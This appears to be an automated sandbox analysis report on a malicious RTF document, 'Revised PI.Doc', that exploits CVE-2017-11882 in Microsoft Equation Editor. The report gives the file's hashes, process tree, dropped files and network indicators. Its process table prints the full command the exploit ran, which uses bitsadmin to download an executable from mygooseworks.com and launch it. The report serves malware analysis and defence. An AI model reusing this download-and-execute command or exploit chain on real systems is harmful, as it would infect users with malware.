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File name:

Revised PI.Doc

Full analysis: https://app.any.run/tasks/66291239-b414-42f1-b047-4f0da45f70a8
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

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Analysis date: January 23, 2019, 02:19:44
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
exploit
CVE-2017-11882
loader
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, ANSI
MD5:

373DD47A353B60790B5D2A528BDA6495

SHA1:

8305375346A8D935A1050F7F26A4446C934A933A

SHA256:

526151BFC0CCAA49C3E1D9CE9C5BBF0C7C63783D18CCD8C46FF2544FBA0FE497

SSDEEP:

96:M4Cg8KwwOAUG5VoWx2TZ9A+SByRFVS50ocE8EfNlVWrshqwHy4ha1NaxjU:ag8KRUGZxa9/VS5zxBWruTZyNae

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3140)

    • Uses BITADMIN.EXE for downloading application

      • cmd.exe (PID: 3816)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3140)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2816)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2816)

    • Application was crashed

      • EQNEDT32.EXE (PID: 3140)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
36
Monitored processes
4
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe cmd.exe no specs bitsadmin.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2816"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Revised PI.Doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3140"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
3816cmd.exe /c bitsadmin /transfer 8 /download https://mygooseworks.com/crm/sma.exe %temp%\Kw.Exe&%temp%\Kw.ExeC:\Windows\system32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2172bitsadmin /transfer 8 /download https://mygooseworks.com/crm/sma.exe C:\Users\admin\AppData\Local\Temp\Kw.ExeC:\Windows\system32\bitsadmin.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Exit code:
2149122452
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Total events
1 101
Read events
720
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
0
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2816WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9A13.tmp.cvr —
MD5:—
SHA256:—
2816WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$vised PI.Docpgc
MD5:F6D03F75FCEFA7942715EE5D0FD2DCD6
SHA256:4DBCDC19AA984C82CDE26993B99E0DA84E9389C7C3FD4705CA60E80EBE757FBB
2816WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:6E28B672E33ED44FA2233E4B0EA4D984
SHA256:ECF9C6BE22E4A542EBECD6F2A9B2ABCD77BA994D3F8910570A44D4737F95D6E1
2816WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F307CED7.wmfwmf
MD5:975B76E8E77D57CC386AF977A08B1E31
SHA256:8D80E9B9B39CD00F3BFADB3B2538DC46845FE8D0E7854D5DD9C9C381150DEDAD
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
164.52.146.11:443
mygooseworks.com
Latisys-Denver, LLC
US
suspicious

DNS requests

Domain
IP
Reputation
mygooseworks.com
  • 164.52.146.11
suspicious

Threats

Found threats are available for the paid subscriptions
1 ETPRO signatures available at the full report
No debug info
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Revised PI.Doc